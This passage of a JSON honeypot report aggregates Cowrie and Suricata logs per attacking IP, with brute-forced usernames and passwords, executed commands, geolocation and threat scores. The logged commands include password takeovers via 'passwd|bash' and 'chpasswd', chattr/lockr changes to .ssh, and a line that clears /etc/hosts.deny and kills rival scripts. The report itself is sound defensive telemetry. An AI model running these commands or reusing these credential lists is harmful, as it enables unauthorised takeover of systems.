        "echo \"omar1234\\njqyjIKpm5wwb\\njqyjIKpm5wwb\\n\"|passwd",
        "echo -e \"1234\\njcsIhTNKyK30\\njcsIhTNKyK30\"|passwd|bash",
        "echo -e \"omar1234\\njqyjIKpm5wwb\\njqyjIKpm5wwb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T21:48:45.737000+00:00",
        "last_seen_30d": "2026-03-10T19:38:54.056000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 243,
        "Suricata": 61
      }
    },
    "45.78.204.254": {
      "attack_count": 242,
      "first_seen": "2026-03-15T13:14:47.639Z",
      "last_seen": "2026-03-16T02:29:01.115Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jagdish",
        "proradis",
        "ray",
        "abdul",
        "bai",
        "dbadmin",
        "desktop",
        "efs",
        "joshua",
        "kirin",
        "pp",
        "root",
        "shoutcast",
        "simone",
        "upload"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "Bai123!",
        "Joshua123!",
        "Kirin123",
        "Upload123",
        "^YHN6yhn",
        "abdul",
        "dbadmin1234",
        "efs123!",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nJmMi1GOovP9Z\\nJmMi1GOovP9Z\\n\"|passwd",
        "echo \"password\\nPOXcFliQSkAM\\nPOXcFliQSkAM\\n\"|passwd",
        "echo -e \"123456\\nJmMi1GOovP9Z\\nJmMi1GOovP9Z\"|passwd|bash",
        "echo -e \"password\\nPOXcFliQSkAM\\nPOXcFliQSkAM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:14:47.639000+00:00",
        "last_seen_30d": "2026-03-16T02:30:11.938000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 242,
        "Suricata": 60
      }
    },
    "103.172.28.62": {
      "attack_count": 236,
      "first_seen": "2026-03-28T04:09:39.308Z",
      "last_seen": "2026-03-28T06:00:50.895Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qwe123!",
        "124",
        "Abcd12#$",
        "Admin000",
        "India@2025",
        "P@ssw0rd89",
        "Qaz.123456",
        "Qwer123456789",
        "Welcome2026",
        "adminme",
        "cS123456@",
        "cloud.123",
        "cool1234",
        "networks",
        "pa55w0rd",
        "qwaszx12",
        "qwerty@12345",
        "videoflow"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:ZrQftL2OmUsP\"|chpasswd|bash",
        "echo \"root:t9RGvgUGMDir\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 146956,
      "as_org": "Hamid Electronics and Automobiles",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T04:09:39.308000+00:00",
        "last_seen_30d": "2026-03-28T06:01:57.556000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 68
      }
    },
    "178.128.202.103": {
      "attack_count": 211,
      "first_seen": "2026-03-04T16:16:18.246Z",
      "last_seen": "2026-03-04T17:00:00.917Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "P@ssw0rd",
        "admin",
        "admin123",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome",
        "!root",
        "123456789",
        "Admin123",
        "Root123",
        "admin@123",
        "adminadmin",
        "administrator",
        "adminroot",
        "alpine",
        "changeme"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:16:18.246000+00:00",
        "last_seen_30d": "2026-03-04T17:01:04.941000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 211,
        "Suricata": 89
      }
    },
    "82.153.157.222": {
      "attack_count": 193,
      "first_seen": "2026-03-10T07:16:05.983Z",
      "last_seen": "2026-03-10T07:34:43.195Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "Admin",
        "infra",
        "adrian",
        "apagar",
        "big",
        "clawd",
        "daniel",
        "dell",
        "kirill",
        "root",
        "site2030"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "Admin123",
        "Big123",
        "Infra123",
        "admin0000",
        "adrian",
        "daniel123",
        "dell@1234",
        "kirill1234",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Admin123\\n0wTR5dahVQpz\\n0wTR5dahVQpz\\n\"|passwd",
        "echo \"Infra123\\n6ucqWi0yuR9n\\n6ucqWi0yuR9n\\n\"|passwd",
        "echo -e \"Admin123\\n0wTR5dahVQpz\\n0wTR5dahVQpz\"|passwd|bash",
        "echo -e \"Infra123\\n6ucqWi0yuR9n\\n6ucqWi0yuR9n\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 215672,
      "as_org": "MoeChuang Network Limited",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T07:16:05.983000+00:00",
        "last_seen_30d": "2026-03-10T07:35:53.256000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 34
      }
    },
    "81.211.88.66": {
      "attack_count": 144,
      "first_seen": "2026-03-22T16:08:27.872Z",
      "last_seen": "2026-03-22T16:35:35.317Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kernel",
        "user21",
        "345gs5662d34",
        "apacher",
        "cgpexpert",
        "copias",
        "hadoop",
        "joel",
        "julian",
        "mine",
        "testmail"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456Aa",
        "P@ssw0rd@12345",
        "User21123!",
        "abc123456!",
        "asdf123.",
        "copias123",
        "hadoop@123456",
        "julianjulian",
        "kernel@123456",
        "kernelkernel",
        "mine@123456",
        "mt2013@HW"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"User21123!\\nDA8Ev0aUnfUW\\nDA8Ev0aUnfUW\\n\"|passwd",
        "echo -e \"User21123!\\nDA8Ev0aUnfUW\\nDA8Ev0aUnfUW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Noginsk",
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T16:08:27.872000+00:00",
        "last_seen_30d": "2026-03-22T16:36:37.299000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "118.26.36.248": {
      "attack_count": 124,
      "first_seen": "2026-03-12T20:21:25.049Z",
      "last_seen": "2026-03-12T20:43:46.493Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "ankit",
        "345gs5662d34",
        "backupuser",
        "claude",
        "ems",
        "g",
        "jitendra",
        "karim",
        "legales",
        "wyy",
        "yujie",
        "zw"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Backupuser123!",
        "G123",
        "Karim123!",
        "jitendra",
        "legales123",
        "password",
        "yujie",
        "zwpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\n8wwrAgRAIdSL\\n8wwrAgRAIdSL\\n\"|passwd",
        "echo -e \"12345\\n8wwrAgRAIdSL\\n8wwrAgRAIdSL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 12.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:21:25.049000+00:00",
        "last_seen_30d": "2026-03-12T20:44:50.736000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 30
      }
    },
    "152.32.213.101": {
      "attack_count": 119,
      "first_seen": "2026-03-21T00:45:58.951Z",
      "last_seen": "2026-03-21T01:01:08.396Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "astra",
        "345gs5662d34",
        "awsuser",
        "beehive",
        "cockpit",
        "cristi",
        "devops",
        "frappeuser",
        "plex",
        "root",
        "sinusbot"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "astra123",
        "awsuser123",
        "cockpit",
        "root1234!@#$",
        "sinusbot123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"astra123\\nIrwIRcp9HEGi\\nIrwIRcp9HEGi\\n\"|passwd",
        "echo -e \"astra123\\nIrwIRcp9HEGi\\nIrwIRcp9HEGi\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T00:45:58.951000+00:00",
        "last_seen_30d": "2026-03-21T01:02:14.718000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "172.233.78.85": {
      "attack_count": 119,
      "first_seen": "2026-03-23T20:29:54.621Z",
      "last_seen": "2026-03-23T20:52:35.408Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "centos7",
        "345gs5662d34",
        "angelica",
        "ceshi2",
        "csserver",
        "emo",
        "openvpn",
        "ts3bot"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "12345678",
        "123@@@",
        "1q@W3e$R5t^Y",
        "1qaz2wsx!QAZ@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "Centos7123",
        "csserver123",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Centos7123\\natpIPpnStbR8\\natpIPpnStbR8\\n\"|passwd",
        "echo -e \"Centos7123\\natpIPpnStbR8\\natpIPpnStbR8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Osaka",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T20:29:54.621000+00:00",
        "last_seen_30d": "2026-03-23T20:53:39.514000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "211.169.38.6": {
      "attack_count": 114,
      "first_seen": "2026-03-13T23:38:50.023Z",
      "last_seen": "2026-03-13T23:58:16.590Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "joshua",
        "345gs5662d34",
        "abc",
        "james",
        "karan",
        "personal",
        "player"
      ],
      "passwords_attempted": [
        "123456",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "Zxcvbnm1",
        "a123321.",
        "hesoyam",
        "james123!",
        "karan@123",
        "player1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nsPqwvwFzXWho\\nsPqwvwFzXWho\\n\"|passwd",
        "echo -e \"123456\\nsPqwvwFzXWho\\nsPqwvwFzXWho\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T23:38:50.023000+00:00",
        "last_seen_30d": "2026-03-13T23:59:26.506000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 26
      }
    },
    "36.255.98.2": {
      "attack_count": 94,
      "first_seen": "2026-03-26T10:08:03.642Z",
      "last_seen": "2026-03-26T10:16:27.576Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin1234",
        "345gs5662d34",
        "hong",
        "jun",
        "melo",
        "ww"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Hong123!",
        "admin1234pass",
        "jun123!",
        "melo1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin1234pass\\npZbG8wL6Q0N2\\npZbG8wL6Q0N2\\n\"|passwd",
        "echo -e \"admin1234pass\\npZbG8wL6Q0N2\\npZbG8wL6Q0N2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 208185,
      "as_org": "Net Gate Telecom S.R.L.",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:08:03.642000+00:00",
        "last_seen_30d": "2026-03-26T10:17:37.750000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "38.210.60.25": {
      "attack_count": 93,
      "first_seen": "2026-03-07T16:17:15.333Z",
      "last_seen": "2026-03-07T16:39:29.631Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "botuser",
        "grafana",
        "node"
      ],
      "passwords_attempted": [
        "password",
        "123456",
        "123456aA.",
        "1qaz2wsx3edc",
        "3245gs5662d34",
        "345gs5662d34"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:gJ0VmVGe8yrM\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Firmat",
      "asn": 52507,
      "as_org": "Pampacom S.R.L.",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T16:17:15.333000+00:00",
        "last_seen_30d": "2026-03-07T16:43:15.932000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 93,
        "Suricata": 17
      }
    },
    "34.62.200.63": {
      "attack_count": 72,
      "first_seen": "2026-03-13T08:30:04.415Z",
      "last_seen": "2026-03-13T08:30:54.531Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2029",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T08:30:04.415000+00:00",
        "last_seen_30d": "2026-03-13T08:32:04.221000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "160.176.165.107": {
      "attack_count": 63,
